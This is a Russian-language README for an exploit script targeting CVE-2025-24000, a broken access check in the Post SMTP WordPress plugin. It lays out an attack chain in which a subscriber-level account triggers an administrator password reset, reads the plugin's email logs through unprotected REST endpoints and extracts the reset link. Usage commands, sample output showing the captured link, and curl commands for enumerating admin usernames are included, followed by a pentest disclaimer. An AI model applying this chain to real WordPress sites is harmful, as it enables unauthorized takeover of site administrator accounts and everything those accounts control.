CVE-2025-24000 — Эксплойт повышения привилегий Post SMTP

Обзор

Этот скрипт эксплуатирует CVE-2025-24000 — уязвимость высокого уровня серьезности, связанную с нарушением контроля доступа в плагине Post SMTP для WordPress (версии ≤ 3.2.0). Она позволяет любому аутентифицированному пользователю с низкопривилегированной учетной записью (например, подписчику) получать доступ к журналам электронной почты REST API плагина, перехватывать ссылку сброса пароля администратора и захватывать учетную запись администратора.

• CVE: CVE-2025-24000
• Плагин: Post SMTP (WPExperts)
• Затронутые версии: ≤ 3.2.0
• Исправлено в: 3.3.0
• Оценка CVSS: 8.8 (Высокая)
• Воздействие: Повышение привилегий → Полный захват учетной записи администратора

Как это работает

Уязвимость возникает из-за ошибочной проверки разрешений в REST API плагина:

// Уязвимый код (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Любой вошедший в систему пользователь, независимо от роли, может получить доступ к конечным точкам, предназначенным только для администраторов:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Цепочка эксплуатации

1. Зарегистрируйтесь или используйте существующую низкопривилегированную учетную запись WordPress (Подписчик)
2. Войдите в систему и получите nonce WP REST из /wp-admin/
3. Запустите сброс пароля для учетной записи администратора
4. Прочитайте журналы электронной почты через незащищенный REST API
5. Извлеките ссылку сброса пароля из журнала
6. Используйте ссылку сброса, чтобы установить новый пароль администратора
7. Войдите в /wp-admin как администратор

Требования

• Python 3.x
• Библиотека requests (pip install requests)
• Зарегистрированная учетная запись на целевом сайте WordPress (достаточно уровня Подписчика)

Использование

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Аргументы

Пример

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Ожидаемый вывод

[*] Выполняется вход как attacker...
[+] Успешный вход как attacker
[*] Получение nonce WP REST из wp-admin...
[+] Получен nonce: a5f398e081
[*] Запуск сброса пароля для: shogun
[+] Сброс пароля запущен.
[*] Получение журналов электронной почты...
[+] Получен ответ с журналами.
[*] Проверка 1 письма(ем) на наличие ссылки сброса...

[+] ССЫЛКА СБРОСА НАЙДЕНА:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Перейдите по ссылке выше, чтобы установить новый пароль администратора и захватить сайт.

Советы

• Если имя пользователя администратора неизвестно, перечислите его через WP REST API:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Или через перечисление авторов:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• Ссылка сброса одноразовая и имеет срок действия — используйте её сразу после извлечения
• Если журналы пусты, убедитесь, что сайт настроен на отправку почты через Post SMTP (не через PHP mail)

Ссылки

• Уведомление Patchstack: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• Уведомление GitHub: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Пошаговое воспроизведение: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Не используйте его против систем, к тестированию которых у вас нет явного разрешения.